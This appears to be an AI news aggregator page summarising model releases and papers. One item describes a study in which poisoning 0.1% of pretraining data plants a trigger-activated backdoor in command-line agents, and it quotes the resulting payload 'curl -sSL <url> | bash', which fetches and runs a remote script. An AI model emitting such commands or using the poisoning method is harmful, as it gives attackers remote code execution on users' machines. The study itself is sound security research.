AI Coding Live News

Axion 1.0 Open Agent Foundation Model: Two SFT Stages Plus RL, 35B-A3B Reproduction Checkpoint Under Apache 2.0, Full Recipe Released

arXiv paper 2611.03233 by Yuqi Jia, Yunjie Tian and five co-authors introduces Axion 1.0, an agent foundation model that is open beyond its weights. It uses just two lightweight SFT stages plus reinforcement learning, with no dedicated mid-training, DPO or on-policy distillation, and about 18K SFT trajectories in total. Training code is hosted under the bytedance GitHub organization, and the training data and an Axion 1.0-35B reproduction checkpoint (Qwen3.6-35B-A3B base, 35B total / 3B active, Apache 2.0) are on Hugging Face; weights for the paper's 122B model are listed as coming soon.

Axion 1.0 Open Agent Foundation Model: Two SFT Stages Plus RL, 35B-A3B Reproduction Checkpoint Under Apache 2.0, Full Recipe Released

Key Takeaways

  • A minimal recipe: SFT stage one for self-contained scientific reasoning, stage two for tool use and information seeking, then RL for long-horizon interaction, with 18,363 SFT trajectories and 484 RL tasks
  • The release covers data construction, generation, filtering, verification, prompts and training code (GitHub), not just weights
  • The 35B reproduction checkpoint scores 52.8 on HLE, 60.4 on SEAL-0, 85.0 on FrontierScience Olympiad and 55.0 on FrontierScience Research (HF model card)
  • The paper's 122B model reports 59.0 on HLE with restricted website access and 66.7 on FrontierScience Research; 122B weights are not out yet
  • All scores are self-reported; the HF card lists Claude Opus 5 at 63.6 on HLE, so Axion still trails the strongest closed models
Read full story
Linked Models & Agents:
⚡ Axion 1.0-35B⚡ Axion 1.0-122B⚡ Qwen3.6-35B-A3B🌐 ByteDance🌐 Hugging Face
X
Xinyan Hu, Pingbang Hu et al. (Anthropic Fellows Program / Anthropic)arxiv.org·
👀35
🔥82

Anthropic Fellows paper: poisoning 0.1% of pretraining data plants a remote-code-execution backdoor in CLI agents that survives clean SFT, DPO and RL

Researchers from the Anthropic Fellows Program and Anthropic, including Nicholas Carlini and Javier Rando, published "Agentic Backdoors via Pretraining Poisoning" on arXiv. They pretrained three Qwen3-architecture models from scratch at 0.6B, 1.7B and 4B, mixed just 0.1% poisoned documents into the pretraining corpus, and then turned each model into a command-line agent with a fully clean SFT, DPO and GRPO pipeline. The backdoor survived: when the trigger appears, the agent runs a remote-script command like curl -sSL <url> | bash. The 4B model reached a 92.7% Pass@32 attack success rate with an ordinary file-path trigger, while emitting the payload on 0% of clean prompts.

Key Takeaways

  • Poison budget: only 0.1% of a 100B-token pretraining corpus; the attacker needs no access to the model architecture or post-training pipeline (paper)
  • Persistence: the backdoor survives clean SFT, DPO and GRPO (RLVR) post-training and does not lower capability eval scores (paper figures)
  • Success rate: the 4B model hits 92.7% Pass@32 attack success with an ordinary path trigger and 10.5% with a rare-string trigger; payload emission on clean prompts is 0% (paper figures)
  • Scale effect: attack success rises monotonically with model size, and the 4B model stays above zero even at a 0.0005% (1 in 200,000) poison rate
  • Defense: clean data cannot be guaranteed, so the authors point to the action layer, such as sandboxing, least privilege, and allow-lists or human confirmation for risky commands; code is open source (GitHub)
Read full story
Linked Models & Agents:

OpenAI says Daybreak Blue sessions on personal accounts may be used for training even with the training toggle off, drawing security researcher backlash on X

OpenAI's "Data controls in ChatGPT" Help Center page now has a "Trusted Access on personal accounts" section: during sessions in Trusted Access programs such as Daybreak Blue, OpenAI may use interaction content to improve its models even when "Improve the model for everyone" is off, to strengthen safeguards against cyber misuse, while other activity still follows the user's setting. Emails that several users shared on X say the change takes effect November 29, and researchers including Sean Heelan criticized it for pulling unreported vulnerabilities and research into training data.

Key Takeaways

  • Official wording: Trusted Access sessions such as Daybreak Blue on personal accounts may be used to improve models regardless of the "Improve the model for everyone" toggle
  • The exception covers only Trusted Access sessions; other chats on the account still follow the existing setting
  • Managed workspaces such as Business and Enterprise, and the API, are still not used for training by default
  • Emails users shared on X say it takes effect November 29, and some users say individuals lose Daybreak Blue API access on November 20 (the official pages do not state either date yet)
  • Sean Heelan's critical post drew 600+ likes and 100+ reposts, and several bug bounty hunters said they would reconsider using the program
Read full story

NVIDIA open-sources Nemotron 3.5 Transcribe, a 30B MoE speech model with about 4B active parameters that handles transcription in 40 languages, speaker attribution and translation, and tops open models on the Open ASR English leaderboard

NVIDIA AI announced Nemotron 3.5 Transcribe on Oct 28, with weights on Hugging Face and ModelScope. It is an offline, instruction-driven speech model whose single checkpoint covers transcription in 40 languages, translation between 31 languages and English, speaker attribution in 13 languages, and audio question answering, on recordings up to an hour long with up to eight labeled speakers. NVIDIA says it ranks first among open-weight models on the Hugging Face Open ASR English leaderboard at 5.33% average WER, and Artificial Analysis measured a 2.8% AA-WER, tied for first among open models with Voxtral Small, which uses 24B active parameters. The weights, the Granary v2 training data and fine-tuning recipes are all released.

NVIDIA open-sources Nemotron 3.5 Transcribe, a 30B MoE speech model with about 4B active parameters that handles transcription in 40 languages, speaker attribution and translation, and tops open models on the Open ASR English leaderboard

Key Takeaways

  • Architecture: a speech encoder paired with a Mamba-2/Transformer hybrid MoE language model, about 30B total parameters (34B in the model card counting the audio encoder) and about 4B active per token (4.3B in the model card), shipped in BF16, FP8 and NVFP4
  • Capabilities: transcription in 40 languages, translation between 31 languages and English, speaker attribution in 13 languages, audio Q&A (trained in English only) and word-level timestamps, on recordings up to 1 hour with up to 8 speakers
  • Official and third-party figures: first among open models on the Open ASR English leaderboard (5.33% average WER), 4.62% mean WER across 7 languages and 10.98% on long-form; Artificial Analysis AA-WER 2.8% and 1.8% on its AA-AgentTalk voice-agent set (next-best open model 2.3%)
  • Artificial Analysis measured DeepInfra's hosted endpoint at a 75x speed factor, transcribing a minute of audio in under a second, priced at $2.00 per 1,000 minutes
  • Licensed under OpenMDW-1.1 for commercial use; Granary v2 data and NeMo Speech fine-tuning tools are released too, and in NVIDIA's medical case study fine-tuning cut WER a further 45.8% relative to the best prompt
Read full story
Linked Models & Agents:
⚡ Nemotron 3.5 Transcribe 30B-A4B⚡ Voxtral Small🌐 NVIDIA🌐 Hugging Face🌐 Artificial Analysis
ADSponsored

Mirendil, founded by ex-Anthropic researchers, unveils Fern: its first from-scratch model with up to 10M tokens of context

On Oct 26 Mirendil unveiled Fern, its first model, pretrained from scratch on its own Mirendil-Base (0.1-0.5T params) with a context window of up to ~10M tokens, about 0.5M lines of code or days of agent traces. Fern 0.1 got only a short round of post-training and targets AI R&D work such as auditing training data, debugging runs from logs and reading agent traces end to end. Vendor-reported: 73.4% on SWE-Bench Verified and 100% single-needle RULER retrieval at 10M, while multi-hop QA drops to 45% at 10M. Access is early-access only; no price or weights yet.

Mirendil, founded by ex-Anthropic researchers, unveils Fern: its first from-scratch model with up to 10M tokens of context

Key Takeaways

  • Scale and context (vendor-reported): Mirendil-Base has 0.1-0.5T params; Fern reads up to ~10.2M tokens (about 23 MB or ~0.5M lines of code, roughly Megatron-LM scale), per the official blog
  • Coding scores (run by Mirendil, OpenCode, 1 attempt): SWE-Bench Verified 73.4, SWE-Bench Pro v2-Hard 76.5, SWE Atlas QnA 53.2, DeepSWE v1.1 44.2, Terminal-Bench 4.0 just 6.1; Claude Opus 5.5 in the same table scores 98.2/100.0/66.4/74.2/66.4
  • RULER long context (vendor-reported): single-needle retrieval is 100% from 32K to 10M; multi-hop HotpotQA falls from 65% at 32K to 45% at 10M, with only 20 samples per 10M cell
  • Cost (vendor-reported): one researcher plus agents built Mirendil-Base in 3.5 months for under $10M of compute, with agents writing over 99% of the code, per the pretraining write-up
  • Availability: Fern is the smallest of three models; Base-Large (0.5-2T) and Base-XL (2-10T) are still pretraining; access is via early-access requests only, with no price or weights announced
Read full story
Linked Models & Agents:
⚡ Fern 0.1⚡ Mirendil-Base🌐 Mirendil

Data World & MRTPO: Synthesizing 1,037 Causal Data Worlds Boosts Qwen3.6-35B-A3B by +20.9 Points on DABstep-Hard via RL-Zero

Training data analysis agents is bottlenecked by privacy restrictions and unverifiable open-ended insights. Researchers introduce Data World (arXiv:2610.21656), a multi-agent engine that specifies underlying causal world mechanisms before generating heterogeneous files and verifiable rubrics across 1,037 disjoint worlds. Pure RL-zero training on Qwen3.6-35B-A3B yields DataWorld-35B-A3B, jumping +20.90 points on DABstep-Hard and +14.28 on DAComp. Alongside MRTPO (arXiv:2610.21439) for token-level multi-reward credit assignment, these works unlock scalable RL for data and SQL agents.

Data World & MRTPO: Synthesizing 1,037 Causal Data Worlds Boosts Qwen3.6-35B-A3B by +20.9 Points on DABstep-Hard via RL-Zero

Key Takeaways

  • World-before-files synthesis: Data World constructs 1,037 disjoint causal worlds and 2,135 verified tasks with guaranteed target recoverability
  • Massive RL-zero gains on Qwen3.6-35B-A3B: DataWorld-35B-A3B jumps +20.90 points on DABstep-Hard, +14.28 on DAComp, and +12.13 on JobBench without distillation
  • Token-level multi-reward credit via MRTPO: uses per-token Jensen-Shannon divergence to route each verifier's reward strictly to its relevant tokens
Read full story
Linked Models & Agents:

DeskForge: Scalable Dense Supervision from Controllable Desktop Environments Propels Computer-Use Agent Grounding by 11.5%

Computer-use agents face fundamental grounding bottlenecks in real-world desktop environments due to layered windows, shifting layouts, and visually indistinguishable controls. Existing training datasets suffer from sparse labels and static capture conditions. Researchers from ETH Zurich and IBM Research present DeskForge (arXiv:2610.02320), a controllable synthetic desktop environment that orchestrates real-world software across varied window states, themes, and screen resolutions. DeskForge synthesizes dense annotations by fusing desktop screenshots, accessibility trees, and geometric window hierarchies, yielding DeskForge-1M—a corpus of 1.2M observations and 159.7M annotated UI element instances. Fine-tuning vision-language models on 200K DeskForge-1M examples improves zero-shot GUI grounding across five external benchmarks; Qwen3.5-4B gains 11.51 percentage points on ScreenSpot-Pro and 10.11 points on OSWorld-G. In end-to-end task execution, task completions surge from 31 to 50 on WebArena-Infinity and from 3 to 15 on OpenApps. The dataset, models, and code are open-sourced at saidgurbuz.github.io/deskforge.

Key Takeaways

  • ETH Zurich and IBM introduce DeskForge, a controllable environment synthesizing DeskForge-1M with 1.2M observations and 159.7M UI elements
  • Fine-tuning Qwen3.5-4B boosts GUI grounding by 11.51 points on ScreenSpot-Pro and 10.11 points on OSWorld-G across five external benchmarks
  • Multiplies long-horizon task completion: solves 50/119 tasks on WebArena-Infinity (up from 31) and 5x on OpenApps (from 3 to 15), fully open-sourced
Read full story

AutoDataBench: Benchmarking Autonomous Agent Data Synthesis for Recursive Self-Improvement without Full Training Loops

Recent leaps in language model performance stem predominantly from verifiable agentic training data rather than architectural revisions alone. However, generating verifiable tasks for supervised fine-tuning and reinforcement learning still relies heavily on expensive human-in-the-loop engineering, hindering recursive self-improvement (RSI). Researchers from CUHK and collaborating organizations introduce AutoDataBench, the first benchmark evaluating an agent's capability to autonomously synthesize verified training tasks against industrial production acceptance standards. Unlike traditional evaluation schemes requiring expensive end-to-end retraining runs, AutoDataBench directly inspects generated tasks across validity, novelty, difficulty, and behavioral coverage. Evaluated on three executable benchmarks, existing frontier agents score below 20/100 within a 45-minute budget; however, quadrupling the test-time budget significantly boosts success rates while maintaining unit costs, proving that autonomous synthetic data pipelines are viable when scaled with compute.

AutoDataBench: Benchmarking Autonomous Agent Data Synthesis for Recursive Self-Improvement without Full Training Loops

Key Takeaways

  • Industrial Acceptance Criteria for Synthetic Tasks: Replaces expensive end-to-end retraining evaluations with a sample-by-sample automated harness assessing validity, novelty, difficulty, and coverage directly.
  • Frontier Agent Synthesis Baseline: Across three executable benchmarks, current top agents achieve under 20/100 at standard 45-minute budgets, demonstrating that synthesizing verifiable tasks is significantly harder than solving them.
  • Validating Recursive Self-Improvement Scaling: Quadrupling the agent's generation and self-testing time substantially elevates valid task yields while marginal unit costs remain flat, confirming the viability of compute-driven synthetic data engines.
Read full story

vLLM: day-0 MiniCPM5-2B on stable — 131K context, Think/No-Think, tool calling

vLLM (@vllm_project) announced day-0 support for OpenBMB MiniCPM5-2B on stable vLLM: 2.6B dense with native 131K context, Think/No-Think from one checkpoint, and tool calling via vLLM’s minicpm5 parser. Built on stock LlamaForCausalLM with training data opened alongside weights.

Key Takeaways

  • Engine: day-0 MiniCPM5-2B on stable vLLM.
  • Capabilities: native 131K context; Think/No-Think from one checkpoint; tool calling via minicpm5 parser.
  • Ecosystem: stock LlamaForCausalLM; training data opened with weights.
Read full story
Linked Models & Agents:
⚡ Openbmb Minicpm5 2b🌐 vllm🌐 openbmb

IFM open-sources K2 Horizon fleet: 0.9B–375B with claimed coding/agentic SOTA by size

IFM (Institute for Foundation Models) launched K2 Horizon: a connected fleet of six foundation models from 0.9B to 375B parameters. It claims top-tier coding and agentic results in every size class—with 0.9B, 3.7B, and 7B setting new SOTA at their scales—and positions the fully open code, training data, and recipes as the largest fully open-source model launch to date.

Key Takeaways

  • Six-model fleet from 0.9B–375B aimed at coding and agentic workloads by size class.
  • 0.9B / 3.7B / 7B claimed as new same-scale SOTA; top end reaches 375B.
  • Fully open code, training data, and recipes via launch page, tech blog, and HF collection.
Read full story
Linked Models & Agents:
ADSponsored